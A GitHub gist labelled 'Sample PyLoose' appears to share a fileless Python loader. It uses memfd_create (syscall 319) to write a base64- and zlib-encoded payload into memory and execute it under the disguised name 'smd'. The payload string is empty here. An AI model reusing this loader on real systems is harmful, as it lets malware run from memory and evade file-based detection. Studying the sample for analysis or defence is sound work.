Skip to content

Instantly share code, notes, and snippets.

@hongsolo9
Created July 12, 2023 10:37
Show Gist options
  • Save hongsolo9/5d39f0857f89166153ab8e6565ee374d to your computer and use it in GitHub Desktop.
Save hongsolo9/5d39f0857f89166153ab8e6565ee374d to your computer and use it in GitHub Desktop.
Sample PyLoose
import ctypes, os, base64, zlib
l = ctypes.CDLL(None)
s = l.syscall
c = base64.b64decode(b'')
e = zlib.decompress(c)
f = s(319, '', 1)
os.write(f, e)
p = '/proc/self/fd/%d' % f
os.execle(p,'smd',{})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment